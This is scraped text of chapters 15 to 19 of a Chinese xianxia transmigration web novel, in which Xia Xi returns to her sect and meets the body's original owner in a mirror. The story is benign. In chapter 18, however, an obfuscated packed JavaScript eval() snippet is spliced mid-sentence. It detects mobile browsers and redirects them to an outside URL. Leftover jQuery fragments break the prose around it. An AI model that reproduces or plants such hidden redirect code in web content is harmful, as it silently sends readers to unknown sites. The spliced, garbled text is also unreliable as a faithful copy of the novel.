“王大仁说的没错,护城大阵是我开的。”疲惫的声音从外面传来,一个裙子染血的女子走了进来,手里还提着一把染血长刀。 她冲着王仁抱拳:“那人做法过于下作,在下不小心捅了他两刀,还请王大人见谅。” 此人正是罗城主之女,罗雨。 王仁还要带罗作回去复命,自然要留他活口,可罗雨一朝之间,要面对亲哥杀了亲爹的事,情绪激动捅两刀也能理解。 他长叹道:“人活着就行。” 夏溪看了会,忽然发觉哪里不对:“罗小姐,你也不是修士?” 死去的罗城主是不是修士她不知道,但罗作是实打实的凡人,否则是不可能如此轻松就抓到的。 “我确实不是修士,”罗雨回答,“家里只有我娘是修士,但她已于多年前仙去,护城大阵是她提前布置好的,只要打开机关就能用。” 言罢,她冲着在场诸位拱手:“多谢几位为我古月城肃清宵小,罗雨感激不尽!” 明月楼一事里,李氏兄妹是打杂的,夏溪和符师都是意外被卷入的,至于裴朝行……他算苦主,现在还躺在房里起不来。 因此只有王仁回应说:“此乃我的任务,谈不上感谢,回去后我会将此事详细禀报国主,古月城暂时就要靠你撑起来了。” 人蛇阁臭名昭著,罗作不仅与之合作,还弄死了城主老爹,很难说以后古月城城主还姓不姓罗了。 罗雨拱手鞠躬道:“在下明白的。” 聊得差不多了,王仁正要起身离开,就听见身后一句:“王前辈别那么急着走啊,我被打得那么惨,总该给点奖励吧?” 此话一出,立刻引起李玉娇不满:“夏溪,这是为民除害的好事!你怎么还能要奖励?” “就算是为民除害也不影响我要奖励!”夏溪指着身上各处绷带,“李玉娇,你仔细看看,这里、这里、还有我断掉的肋骨,我被打得这么惨,没有汤药费就算了,难道连奖励都没有吗!” 符师反应过来,也跟着道:“夏溪,该要奖励的是我才对,毕竟我扔出去的符箓都是要一笔一笔画的,而你,王前辈从我手里救下你便是你的奖励了,怎么还能多要呢?” 听到符师站自己,李玉娇还没开始乐,又想起她是追杀夏溪的人,小脸当即皱了起来。 罗雨听见他们的对话,主动道:“二位,你们为古月城的一片心意我已经知道了,汤药费我会全部报销的,至于奖励,只要是我能给的,我都会给你们。” 李玉娇:“罗小姐你也算受害者,怎么能给汤药费呢?我看她们两个该找关起来的人蛇阁成员要!” “那个人蛇阁成员都被关进牢里了,还能有什么好东西?” …… 一人一句,几乎要将屋顶掀翻天。 王仁忍无可忍,拍桌而起:“谁说我要走了?我不过是要去看裴小兄弟的伤势如何,别忘了,他可是能硬生生逼出蛊虫的人!” 说完,大步跨门而出,朝着裴朝行所在的客房去了,罗雨紧随其后。 李玉娇早就听闻裴朝行事迹,拉上一直旁听没说话的李逸臣跟了过去。 符师想了想,抬脚也跟上大部队,离开之前,她问夏溪:“你不过去看看?” 夏溪摆手:“不去,反正他又没死。” 她现在累得要死,一点也不想关注被天道偏爱光环加身的男主角。 符师见状,也不知道想了些什么,突然道:“你别不是不好意思吧?” 裴朝行出场时腰间只有一块破布环腰,最后的火龙卷那么大,很难说夏溪在此期间没看到什么。 等符师留意到的时候,裴朝行身上已经披上了更夫的外套。 夏溪没忍住翻了个白眼:“你还去不去?晚了的话你就听不到他是怎么把蛊虫逼出身体的。” 王仁临走前特意提到靠自身逼出蛊虫一事,明显是要过去盘问裴朝行的,符师要是去晚了,可就见不到了。 两相比较,还是蛊虫比较吸引人。 目送符师急匆匆地离开,夏溪也起身离开,准备回房睡觉。 可惜天不遂人愿,在她刚进院子时,侍人过来通报说王大 15. 第 15 章 《退婚龙傲天之前》全本免费阅读 [] 天穹辽阔,万里烟云。 夏溪沉沉地睡过一觉,再醒来时,天边已经火烧如云。 她从房间出来,迎面撞上李玉娇,对方面露疑惑:“你知道自己睡了多久吗?” “不就一天?” 李玉娇盯着她看,忽地露出很惹人厌的嗤笑:“我们明天就回到少乌宗了。” 夏溪:??? 你说回到哪里? 从古月城出发少乌宗,期间要经过一座城和两条山脉,怎么这么快就到了? 她到底睡了多久? 不可置信的夏溪冲到甲板,找到正在沐浴夕阳的李逸臣:“大师兄,我睡了多久?” 李逸臣周身浮现出淡淡光芒,是灵船正在吸收他的灵力。 见夏溪急得头发都乱了,李逸臣蹙眉道:“你伤得太重,上船之后就一睡不醒,裴修士比你好点,但也没出来过几次。” 夏溪无语凝噎。 难怪今天起床起的这么轻松,原来是爆睡好几天。 趁日光尚在,她也坐在甲板上,运转体内周天调转气息。 这一运转不得了,她立刻就发现体内灵力暴涨许多,之前是金丹三段的修士,现在应该变成了金丹五段。 嘶,怪不得修士们都爱找人切磋,原来是因为切磋(打架)涨经验值。 察觉到身边人的情绪高涨,李逸臣问:“升级了?” “是,现在应该是金丹五段。” “看来你很快就能追上我。” 李逸臣是金丹圆满,离元婴仅差渡劫飞升。 可渡劫向来是要等冥冥中的一丝契机,因此只能沉下心慢慢的等。 “师兄不日即将升至元婴,我才金丹五段,还差得很远呢。” 夕阳如血,潺潺流光一点一点攀升至李逸臣的侧脸,公子皎如玉说得正是此时的他。 夏溪也说不上来自己是什么心情,她感觉到自己的心在砰砰地跳,有某些不受控的东西想从里面跳出来,一下一下的,让人不知道把手脚往哪里搁。 她摸了下自己的脸,嗯,凉凉的。 房间里,裴朝行发现茶壶是空的,他来到走廊,尽头隐约传来声音。 循着声音走去,看见尽头的甲板上,夏溪和李逸臣席地而坐。 两人挨得很近,裴朝行看不见他们的脸,却能听见夏溪的声音带着明显笑意,显然她的心情很好。 裴朝行想了想,决定不去打扰甲板上的两个人。 正要往回走,却见李玉娇走出来,还没打招呼,就见她的眼神变得相当犀利,径直越过他朝甲板走去:“夏溪,你又来缠着我哥哥!” 裴朝行往回走的脚步硬生停下,他靠墙站在门口,看着李玉娇气冲冲地分开夏溪和李逸臣,李逸臣看上去像缓和她们的关系,但显然不管是哪一个都不愿意被缓和。 他静静地旁观片刻,最后还是回到房里去。 ** 次日清晨。 少乌宗偏峰山顶。 许多穿着同色系不同款的少乌宗弟子集齐在这里,他们都是听到消息,特意赶来接风大师兄的。 “听说了吗?夏师姐这回死里逃生,就连沉银阁的人都没杀得了她。” “我觉得是大师兄和六师姐出了力,夏师姐不是金丹三段的修为吗?金丹这个阶段的修为有点不好说啊。” “你又懂了是吧,金丹怎么了?你自己都没金丹!” “哎哎,比起他们,我更好奇那个说来我们宗门休养生息的天才!听说是夜使大人亲口嘱托的。” “他的修为好像不高吧?怎么帮上夜使的?” “别说了,好像有灵船来了!” 众人看过去,果然发现天边有一艘灵船正在快速接近,片刻之后便停在了山顶广场。 几个人出现上落口,为首的正是阔别多日的李逸臣。 他一出现,众多少乌宗弟子纷纷拱手弯腰道:“恭迎大师兄、夏师姐、六师姐回归!” 李逸臣冲他们点点头,然后带着夏溪和李玉娇来到掌门面前:“弟子见过掌门。” 李天君上下看了看他和李玉娇,最后又把视线放在后面的夏溪身上,见她脖颈、手臂、脸上都带着伤势,叹息一声:“回来就好。” 几人来到大堂,由夏溪为主、李氏兄妹为铺、裴朝行偶尔补充,将古月城发生的事详细讲了一遍。 其中明月楼发生的一切,让李天君及一帮听众听着都捏了一把冷汗,连连感叹夏溪和裴朝行的运气真是极好。 李天君忍不住调侃夏溪:“此次出宗,恐怕吓得你未来几十年都不想出去了吧?” 夏溪也是从小来到少乌宗的,也算半个李天君看着长大的孩子。 此行出去三人,回来就她一个带伤,大大小小的伤疤看着也让人于心不忍。 “不想出去了,”夏溪苦着脸,“外面的世界太吓人了,还会莫名其妙的被人发追杀令,要是没什么事我是真的不想离开宗门了。” 谈到追杀令,李天君也想到沉银阁之事,他的面色也沉了下来:“你当真没有在外面惹是生非?” 沉银阁不会胡乱发布追杀任务,说明定是有人对夏溪恨之入骨才会花大价钱买她的命。 虽说夏溪的性子是胡闹了点,可大是大非也分得清楚了。 见被掌门质疑,夏溪一字一句道:“当然没有,我师父的伤未好全,我哪有心思去搞别的事情。” 提到□□月的伤,李天君的脸色缓和不少,他道:“沉银阁此事说来也怪,我派人去查是谁,但得到的结果都不能令人满意。” 沉银阁是地境东大洲最大的邪修门派,少乌宗在东大洲不过是小有名气,二者地位实力和都不对等,自然查不到什么结果。 可李天君能派人去查和让自己两个孩子来接应夏溪,足以说明他对此事的态度。 她忍不住道:“嘿嘿,我就知道李叔叔会出手帮忙的。” “少嬉皮笑脸了,你私自迷倒自家师兄师姐,还偷拿令牌出宗这件事,你说,你该如何受罚?” 不管动机如何,原主确实是干了件大事,还违背门规偷偷出山,把不能干的全干了遍,受罚在所难免。 夏溪抬起受伤的手:“掌门,并非弟子诉苦,而是真的受伤严重,希望能看在弟子在明月楼一事上出了大力,受罚能减轻些许。” 李天君沉吟片刻,看见坐在角落里的裴朝行,自从讲完古月城发生的事,他就很少说话了。 与夏溪相比,裴朝行除了额头的蛊虫伤,其余伤势皆在体内,需得处处细心照料。 而现在少乌宗最合适养伤的地方,必然是夏溪师 16. 第 16 章 《退婚龙傲天之前》全本免费阅读 [] 有外人(裴朝行)在场,文十方和易鸯都没说什么,而是直接带着裴朝行回到忆春山。 忆春山是少乌宗主峰附近的一座山脉,山明水秀气候宜人。 一行人来到山脚下的一处大宅,进门先看见一棵树荫遮蔽小半个院子的桃树,枝叶翠绿,隐约有指尖大的小果长了出来。 桃树旁边摆着几张石凳石桌,一个穿着素色衣服的女子正在和另一个宫装女子对弈。 几人凑过去,然后纷纷露出欲言又止的表情。 她们在下五子棋,其中一方被另一方全面碾压。 素色女子丢下棋子:“不玩了不玩了,玩棋这种费脑子的东西不适合我。” 她说着转头,看见站在旁边的夏溪和裴朝行,笑眯眯:“哎呀,我的好好徒儿回来啦!” 明明她的语气很好,可裴朝行仍能从中听出一丝古怪。 另一宫装女子恰到好处的说话:“阿月,先给客人介绍一下吧。” 宫装女子是少乌宗医术最好的长老,徐珏,另一位不必多说,正是文十方、易鸯和夏溪的师父,江清月。 江清月师徒几人许久未见,显然是有师徒间的悄悄话要说,于是徐珏贴心地将裴朝行带到隔壁把脉。 目送徐珏的身影消失在门口,夏溪还没等江清月开口就“噗通”一声跪下:“弟子知错!” 文十方看她这样,气不打一处来:“你还知道错!” 当初江清月昏迷,他和易鸯急得不行,结果被夏溪钻了空子,半夜拿迷药迷晕他们,第二天清醒,知道夏溪不仅私自出宗,拿得还是文十方的腰牌离开后,两个人肺都气炸了。 要不是夏溪留了信,而那时江清月又恰好苏醒,文十方和易鸯早就去满月城找她算账。 江清月性子爽利,养出来的徒弟脾气也一个比一个爆。 如今见她还好意思提,文十方当即就想拔剑揍夏溪一顿,易鸯赶忙拦住他:“师兄,还是我来吧,我的锯齿刀伤人更深,更能长教训。” 文十方:…有没有一种可能,我拔剑就是为了防止你拔刀。 见易鸯是真的打算拔刀,夏溪连滚带爬地走到江清月身边:“师父救我!” 文十方揍她她还能活,易鸯的锯齿刀出场的话,她肯能真的会当场晕死。 江清月清醒后,确实被夏溪大胆的做法也给气到半死,可见她现在全身是伤,如果真揍下去恐怕当场出事。 于是江清月说:“够了,你们真想打死你们的小师妹是吧?” 文十方和易鸯不服气地看着她,夏溪则面露喜色。 不管如何,只要不挨揍就万事大吉! 然后江清月就说出了下一句:“等她伤好了,你们想怎么打就怎么打,我要是不让你们打,我床下那坛三十年的好酒就让你们喝了。” 文十方:“有师父这句话,谁敢现在打小师妹,就是和我们作对!” 易鸯:“没错,师兄说的对,全体起立鼓掌!” 夏溪(鼓掌版):啪啪啪啪。 最让文十方和易鸯生气的事就此揭过,文十方去烧水,易鸯则拿了两碟瓜果过来。 江清月伤了根,无法去到偏锋开会,好在文十方全程都用纸信鸽和徐珏联系,让她听到全部过程。 现在他们该八卦的是,是小师妹退婚的事。 夏溪挑挑拣拣的把满月城发生的事说了一遍,听到裴家弄出个真假未婚夫时,易鸯和文十方眼睛都瞪大了:“竟然真的会有这种事?” “是真的有!”夏溪故作夸张,一副后怕连连的样子,“我也没想到他们胆子大到连遗物都可以作假!” “不过说来好巧,裴修士也姓裴,和你前未婚夫同一个姓。”易鸯忍不住道,“他们会不会是亲戚啊?” 同姓裴,又都是有修仙天赋在这里,加上满月城离古月城距离尚可,很难不让人将二者联想到一起。 “我觉得不是,”夏溪顺着易鸯的话道,摆足他俩是陌生人的架子:“姓裴的人那么多,出几个天才不足为奇。” 她的话成功引开注意力,让大家的目光放在‘天才’身上。 要说少乌宗里谁最天才,自然是金丹圆满的李逸臣,现在又来了个筑基五段就能直逼蛊虫出来的裴朝行,要说大家不蠢蠢欲动是不可能的。 虽然实力有差距,但都是天才,他们不互相切磋(打一架)怎么行! 也许李天君正是考虑到这点,所以才安排裴朝行到现在伤患最多的忆春山里。 前有金丹被毁的江清月,后有受伤未愈的夏溪,只要不是脑子不好,都不会来忆春山触霉头。 但伤患家属就另当别论了。 文十方和易鸯听说裴朝行的惊人事迹后,手一刻不停地摩挲着剑柄“要不……我们现在去找裴朝行比划比划?” 夏溪:…… 文十方和易鸯的等级都是金丹六段,差一点到金丹七段,实力几乎能碾压筑基五段的裴朝行。 他们有什么可比划比划的呢? 她说:“师兄师姐,我们实力高他太多,比划比划就算了,不如我们去指点一下!” 三人一拍即合,当即就想走,却被江清月制止了:“你们怎么可以这样?裴修士他现在还受着伤呢!” 三个弟子羞愧地低下头。 然后江清月说:“你们应该带上我,指导别人怎么能没有长辈在场!” 于是四人快快乐乐地朝隔壁院子出发了。 他们来到隔壁院子,看见裴朝行坐在角落,周围围着几个人,正指手画脚地说着什么,并且看裴朝行的表情,似乎正在极力抗拒着什么。 那几个人一见到师徒四人过来,轰地一下散了。 文十方看那些散开的人有些面熟,问裴朝行:“是不是几个医修找到你,非要让你试试他们的筋骨贴?” 徐珏的诊断和古月城大夫说的差不多,都是要裴朝行好好休息,再吃点药就可以了。 趁着徐珏找药期间,几个少乌宗弟子跑过来,明里暗里的推荐筋骨贴,裴朝行怎么退拒都不行。 他一愣:“你怎么会知道?” 文十方哼哼道:“我们当然知道,谁让我们就是少乌宗弟子呢?” 裴朝行:…… 忘记了,他们也是少乌宗的人。; 气氛有一瞬间的尴尬,但文十方毫无所觉,继续说:“裴修士,听说你是自学成才,要不要我们指点你一下?” 易鸯连连点头:“对啊,我听说有些人自己修仙,结果练得不对走火入魔了!” 裴朝行疑惑道:“……可我有伤在身?” “我们当然知道,但不是活动筋骨有益身心健康吗?”文十方疑惑道,“我记得我小时候受伤了,师父就是靠和我过招让我开心起来的!” 易鸯也说:“对啊,师父说过,有事没事过两招,身体才能好得快。” 裴朝行:你们是不是有病。 但他已经在灵船上休息许久,身子骨确实有些松散,如果文十方他们真的是老老实实指点的话,确实很不错。 可一想起夏溪对他的恶劣态度,裴朝行又拿不准他们口中‘指点’是不是真的‘指点’。 看两人的态度,作为客人再拒绝下去就相当不礼貌了。 几人来到平时练剑的地方,此处地方开阔,周遭还摆着几架千秋和桌椅。 裴朝行没有剑,便用了一把文十方的旧剑比划,他刚要拿上手,文十方就丢给他一对护手:“有时候手心出汗拿剑不稳定,你带个护手比较好。” 他怔忪一瞬,还是接下来。 难道‘指点’是真的指点? 随着易鸯的一声令下,文十方率先出招! “铮!” “铮!” “铮!” 短兵相接,精钢打造的锋利刀刃不断碰撞,发出清脆刺耳的声音。 文十方没有用根系,单纯就用剑招就把裴朝行逼得步步后退,很快就败下阵来。
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她径直越过裴朝行,拽出郭纺几个:“走啦,不要在这里打扰弟子们上课!” 郭纺等人:……明明是你先来打扰的吧。 眼见夏溪是真的生气,他们也不敢说话,乖乖跟着她离开。 18. 第 18 章 裴朝行一头雾水地回到上课的地方。 此时下一节课还没开始,几个八卦的外门弟子就凑到他身边:“哇,你认识夏师姐他们吗?” 认识? 他和夏溪算认识吗? “不熟。”裴朝行选择了比较折中的回答。 “真的吗?”一个弟子问他,“可看着不像啊,夏师姐要是没事,都不会来外门的,刚刚看见她在旁边看着,差点把我吓死了。” 接着几人就长篇大论夏溪往日的‘英勇事迹’,包括但不限于看不起外门弟子、上课顶撞老师、因为没有买到喜欢的东西而大发雷霆等等等等。 直到最后,一个弟子说:“不过总感觉夏师姐好可怜呢,即使江长老这次熬过来修为也大不如以前了,等别提她之前还做出那种事……” 裴朝行还想继续听下去,可上课时间已到,弟子们四散归位,只能就此作罢。 与此同时。 郭纺跟在夏溪身后,和身边几个朋友同面面相觑。 那个外门弟子长得是不错,要是夏溪真看上他,都不用说一声,他们都会自发将他绑到她面前去了,至于这么生气吗? 郭纺和夏溪关系最好,开口也是最没负担:“小溪,你不会真的对刚才那个外门弟子……” “不是。”夏溪硬邦邦地回答,她转身看着看着几个猪朋狗友:“你们还没想起来吗?他是忆春山新来的人,但忆春山新来的人是谁你们难道不知道吗?” 忆春山、新来的人? 要问今天少乌宗最大的消息是什么,必然是李逸臣回来,而李逸臣回来又带回来的消息,自然是有个年纪轻轻就能逼出蛊虫的人。 而这个人,刚好受了伤要到忆春山休息…… “哇哦!他就是那个天才?”郭纺瞪大了眼睛,她转身就走,“天哪,我现在就回去找他过几招,这样我以后就是和天才打过的……哎哎,你扯我做什么?” 郭纺还没走两步,便被夏溪扯住后衣领带了回来。 开什么玩笑,那可是男主,你今天和他过几招,说不定明天就会成为炮灰。 她一手叉腰,一手戳了戳郭纺的脑门:“你在想什么?那个人是客人,随随便便和他过几招,等会传出来我们少乌宗仗势欺人怎么办?” 郭纺捂着被戳痛的脑门,十分不服气道:“谁敢说我们仗势欺人?我不过是想和他切磋几下!” 如果时间再早点,夏溪自然放任郭纺他们去和裴朝行‘切磋’,可文十方他们前不久才找他指点过,要是郭纺几人再去,不就很容易让裴朝行看出来有问题了吗? 她说:“那也要等他伤好了再说,你趁人家受伤跑去切磋,说不定在他眼里我们就是仗势欺人呢。” 郭纺被夏溪的逻辑说服了。 在她看来,自己不过是慕名而去想要和传说中的天才切磋一下,但在天才眼里,你就是趁我病要我命的坏人也是有可能的。 要不是夏溪指出来,她还真的想不到还有这一层。 可是,总感觉哪里好奇怪啊。 她苦着脸看夏溪:“总觉得你出去之后变了好多啊,以前你都不会来外门这边的,有一次我想带你过来,你还说过我再带你来外门就和我绝交的。” 夏溪动作一僵。 原主确实不会来,在她看来外门就是差生集结地,很多一看就懂的基础剑招,外门弟子却要一遍又一遍的练习,久而久之便觉得外门弟子都好笨,一点也不想看到他们。 她有修仙天赋,进步就像是吃饭喝水一样简单,但对那些天赋一般的外门弟子来说,只有一遍遍练习,才能达到原主生来就有的天赋基础之一。 不止郭纺,其他人也跟着说:“对哦,以前你要是从外面回来了,除了江长老他们,你也会第一时间告诉我们的,现在却一点消息都没有,还得我们自己问人才找到这里。” “没错,你回来不和我们说一声就算了,就连得到灵船这种好东西都不和我们说了!” “就是啊,你这次出宗之后变了好多!” …… 一人一句,讲得夏溪心头火起。 她伸出手,直接让郭纺几人调转身子,同时推着他们走回原处:“行啊,你们觉得我疏远你们,回来也不和你们联系,那你们就去陪那个裴朝行吧!” “我在外面差点都被人给杀了,你们不仅不闻不问,甚至还一见面就冲我发火说冷落你们!” “真当我好柿子捏是吧?一个个有问题就去找掌门,是他安排我带裴朝行熟悉少乌宗的,不然你们真当我喜欢伺候人啊?” 夏溪的突然发疯,成功让郭纺几人慌了神,他们本来是有点委屈的,现在委屈也飞到九霄天外,连声哄着夏溪: “我们就是随口抱怨抱怨,小溪你不要当真呀!” “都知道你这段时间忙得很,所以我们才不和你联系的,就怕打扰到你。” “就是感觉你做了平时不太可能会做的事情,有些诧异才这么说的。” 郭纺几人好声好气的哄着,夏溪却不理他们,身子一扭,直接跑了。 她一路跑回忆春山,却没有注意到路边的两个弟子。 他们身上穿着游学弟子的服饰,其中一个见到气冲冲的夏溪,忍不住调侃对方:“你看,那是不是夏溪?。” 被点到名字的人抬头,只能看见少女离开的背影。 握着茶杯的手骤然缩紧,条条青筋爆出,昭示着极力忍耐着什么。 许久之后,被问到的人才道:“是啊,确实是夏溪。” 夏溪一路跑回忆春山,她回到自己的院子,用力把门一关—— “砰!” 住的院子在易鸯对面,她正在自己院子里喂鱼,见到夏溪气呼呼地回来,还那么用力的关门,显然是被什么人气到不轻。 易鸯等了会,没看见裴朝行的身影,隔门问自家师妹:“你怎么了?又是谁惹到你了?” 夏溪用力深呼吸好几下,同样隔着门回答:“师姐,我没事,你让我自个待一会就好。” 门外顿时没有了声音。 易鸯被震撼到说不出话。 以前小师妹生气,总是会在找个地方乱砍乱劈一通,不把心里那口气发出来不罢休。 现在居然会和她说‘我没事,自个待一会’??? 心中忐忑片刻,易鸯还是说:“师妹,是不是裴修士惹你生气?要真的是他,我去把他修理一顿。” 事情的起因还真的是因为裴朝行,要不是他实力不济被人蛇阁的人带走,就不会出现在少乌宗,他要是没有出现在少乌宗,自然不会发生和郭纺他们争执的事。 好几次,夏溪都想脱口而出说没错就是裴朝行惹的事,这样易鸯便有理由找到修理对方。 可按照主角光环,无缘无故去找茬的易鸯则会变成传说中的炮灰。 裴朝行一定会打脸回来的。 她无奈道:“师姐,和裴朝行无关,我不想说我为什么生气,你可以让我自己待一会吗?” 夏溪再三坚持要独处,易鸯只得离开。 她飘忽着找到练剑的文十方,把方才发生的一切全都说出。 文十方收剑,用面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11281375|116956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巾擦去脸上的汗:“这不很正常,小师妹外出经历这么多,性子有所成长难道不是好事?” “确实是好事,但是总感觉哪里怪怪的。”易鸯说,“以前她要是生气,肯定会找地方发泄,现在却躲在房子里不说话……” 她停顿数息,不知如何说出心中的怪异,最后恹恹道:“我只是觉得,这不像是小师妹会做出来的事情。” “我觉得是你想太多,人都是会长大的。”文十方想了会,又继续说:“你想想小师妹这段时间经历的事,不成长不懂事点才奇怪吧?” 文十方说得不无道理。 近段时间,忆春山可以说是多灾多难。 先是小师妹失去了双亲,接着师父的金丹被毁,他们到处采药卖药累得心力交瘁,小师妹私自出宗还遇上追杀……这些都不是点背的程度,而是倒霉至极的地步。 莫不是忆春山的风水不行? 易鸯被突然冒出的想法逗笑,唇角扬起一抹笑:“你说得对,也许就是我想太多了。” 她心情愉快,却轮到文十方心情不好了:“我本来还打算今晚和小师妹说的,听你这么一说,我又拿不准要不要说了。” 他们这段时间一直东奔西跑的,就是为了凑齐重塑江清月金丹的丹药,现在万事俱备,只欠一抹冰霜赤。 虽然夏溪说要嫁给齐天符换冰霜赤,可他们作为师兄师姐,断没有拿小师妹姻缘来换药的道理。 夏溪想尽办法拿回玉佩的时候,他们也没闲着,和徐珏一起研究有没有什么药材可以代替冰霜赤。 经过一段时间的寻找,他们终于找到另一种可以代替冰霜赤的东西—— 玉蝴蝶。 地境坐拥东北西三大洲,除少乌宗所在的东大洲灵气充裕气候分明,北洲灵气缺失还常年气候寒冷,西洲则妖兽泛滥难以生存,不管哪个都不是适合长久待下去的地方。 玉蝴蝶是西大洲的一种罕见药材,它喜好生长在阴暗湿润的地方,并且发芽之后还会散发出一种剧毒雾气来保护自己。 玉蝴蝶又是某些妖兽进阶必备之物,因此每当它成熟时,毒雾外围便会聚集许许多多的妖兽。 它的采摘困难程度要比冰霜赤简单一点,故而功效也有折扣,但这也是为江清月重塑金丹的最快办法。 文十方得知玉蝴蝶能救江清月的当晚,独自一人收拾包袱准备离开,就被收到消息的易鸯给拦下。 他作为一个金丹六段的修士,毫无准备的去西大洲就是送死。 可若是他不去,死的就是他的师父江清月。 易鸯只用一句话就让他乖乖回来:‘你要去采玉蝴蝶我没意见,但至少也要等小师妹回来后和她说一声吧?’ 文十方本想反驳易鸯,却见到满脸倔强的她,握刀的手微微颤抖。 师父江清月重伤刚醒,痊愈希望微小渺茫,小师妹夏溪偷跑去满月城,至今还没有消息回来,要是连当师兄的文十方在西大洲期间也出了什么意外……整座忆春山只剩易鸯一个。 文十方最终还是答应易鸯,等小师妹回来告诉她这个消息之后,他才出发西大洲。 如今夏溪已经成功回来,也是时候把这件事告诉她。 作者有话要说: 太多事情了,感谢还在观看并愿意等更新的你(鞠躬)感谢在2024-03-2322:51:37~2024-03-2920:08:37期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:叉烧拌饭10瓶;青烟茗2瓶;非常感谢大家对我的支持,我会继续努力的! 19. 第 19 章 送走易鸯,夏溪深呼吸好几下才让气息平稳下来。 对于回少乌宗这件事,她心里一点都不怵。 虽然和原主性格不同,可她手握她的身体和记忆,加上前面有那么多例子在,怎么可能会暴露自己不是原主的事实。 只是没想到,看男主打脸没成,反而差点被质疑‘变了好多’。 脑子乱糟糟的,夏溪抬脚回房,里面还是原主离开之前的模样。 她没有去动任何一件东西,而是坐在待客桌旁边,看着眼前熟悉又陌生的一切。 被子掀开一角,枕头是歪的,梳妆台上的妆奁敞着口,露出用过的眉黛、胭脂,一枚小小的花钿落在旁边,是红色的。 屋中的四方桌隔着一杯半满的水,茶壶也没放进托盘里,而是随意搁置在一旁。 一众布置摆设都没动过,仿佛还在等着房间的主人回来。 如果不是原主赶着去满月城退婚,从而在剑上一头栽下,夏溪也不会穿过来,代替原主成为这个世界的‘夏溪’。 如果没有穿越过来,还在长假期间的她,现在可能在家宅着看小说,也有可能外出和朋友逛街……总之不可能是从原主朋友那里落荒而逃。 不过人死如灯灭,原主估计也没想到。自己的身体有一天会被穿越党给占据了吧? 乱糟糟的想了一通,夏溪的困意再次翻涌上来,起身便往床上走,然而—— “喂,不要穿着外衣上床。” 一道似曾相识的声音从旁边传来。 夏溪侧头去看,只见梳妆台里现出一个人的影子,那是一个女孩,捧着一碗粉吃得正香。 见她错地看过来,女孩放下手里的外卖,疑惑道:“干什么?不会连自己的脸也认不出来了吧?” 镜子里的女孩有着陌生又熟悉的一张脸,熟悉是因为那是她穿越之前的身体,陌生是她第一次透过第三人称角度观察自己。 熟悉的眼睛与鼻子,长度在肩膀附近的黑发,背后混乱无序的布置和摆设,无一不是她所熟知的地方。 那是她穿越之前的房间和身体。 面对熟悉的一切,夏溪后退数步,单手握住剑柄一言不发。 此处是少乌宗忆春山,一般来说是不可能有妖邪侵入,但在异界他乡看到熟悉的一切,很难不让她产生怀疑。 留意对方的小举动,镜子里的女孩脸色产生一丝变化:“原来我在外人视角是这幅模样……那还不赖嘛。” ‘我’? 女孩的语气过于熟稔,再加上背后熟悉的一切,夏溪隐隐察觉到什么:“你该不会是……” “没错,我就是你这具身体的原来主人。”镜子里的女孩语气讥讽,声音带着不屑,“同时也是小说《问天一剑》的女配夏溪。” ?! 很多穿越小说里,被穿越的‘原主’要么意外死亡,要么因故无法继续剧情……无论如何,穿越自带的buff,总能让穿越党毫无破绽的融入新世界。 夏溪一直以为原主意外死在舟车劳顿之中,才会让同名同姓的自己从原来世界穿了过来。 同理,穿越之后的自己的身体,也应该因为某种缘由离开人世才对,为什么还能好端端地出现在眼前? 修仙界之大无奇不有,也许镜子里的人是能窥视别人记忆的妖邪,想要以此让自己放松警惕好占据身体? 她甩开混乱无比的思绪,试图将事实拉回正轨:“我不信,你说你是我,你有什么证据证明你是我?” 为了更好的区分二人,夏溪默默地在心里称呼对方为‘夏溪二号’。 夏溪二号没有说话,手指一钩,原本握在夏溪手里的剑发出一声嗡鸣,瞬间脱手而出,“啪”得一声贴在镜子上。 冲击力过大,镜面因此裂出几条缝隙。 “这是我的本命剑,已经和我的灵魂融为……不对,用你们这边的话来说,它已经和我的灵魂绑定,除我之外很难有人发挥出它的全部实力。” 本命剑确实是和修士灵魂绑定的东西,正如夏溪二号所说,在被绑定的情况下,别人不能发挥本命剑全部实力。 问题在于,夏溪使用过它,并没有出现过什么不能发挥实力的情况。 “我不会相信你的,”她说,“我能用过它,照样大杀四方。” 虽然用它的时间里99%都在逃命就是了。 夏溪二号没说什么,若是这么简单就能说服另一个世界的‘自己’,那这个‘自己’也不能称之为夏溪了。 她起身,走到镜子看不到的地方,过了好一会之后,拿着一本书脊染灰、页面泛黄的笔记本走了回来。 看着有点眼熟,可夏溪想不起来那是什么。 夏溪二号打开笔记本,字正腔圆地朗诵起来:“今天,是米菲诺斯皇家帝国学院开学的日子,同时也是美殇·苏落·宫可可·娇娇月·转学的日子,她有着一头粉红色(阳光下是彩虹色)的长发,比瓜子还要小的脸……” 这古早的台词、这熟悉的描述、这玛丽苏的长发,一切都让夏溪灵台清明,脑海里近乎湮灭的记忆复苏。 作为一个看小说爱好者,在中二时期,对自己文笔没有丝毫*数的她,毅然决然写下世界第三公主殿下和世界第三王子殿下的校园爱情故事。 剧情包括但不限于地上王室秘闻、地下党派纠纷、商业帝国制裁……总之怎么玛丽苏怎么来,甚至一度被周围同学争相借阅,若不是后期因为学业压力无法继续书写,恐怕外星人势力都能在小说里登场。 中二病毕业后,这本小说就被封存起来,就连她自己都忘了曾经写过小说这件事。 不知怎的,竟然被穿越过去的夏溪二号找到,还当着笔者本人的面念出来。 “够、够了……”夏溪痛苦地捂住耳朵,脸皮阵阵发烫,“求你别念了……” 夏溪二号不以为然道:“没事,你要是不想听自己写的小说,我还找到了你以前的网络发言纪录,比如‘诶多,大家好,第一次进同好群有丢丢紧脏,先给民那桑哦哈呦一下,偶素超卡哇伊的小说家’……” “啊啊啊够了够了我信你我真的信你!你不要再念了啊!!!” 夏溪尖叫着扑到梳妆台前面,若不是进不去镜子,她都想当场打晕夏溪二号,让她体会一下什么叫做友情破颜拳。 经此一役,夏溪再也怀疑不起夏溪二号的真实性。 在她的连声催促下,夏溪二号收起黑历史,解释自己为什么会出现在这里—— 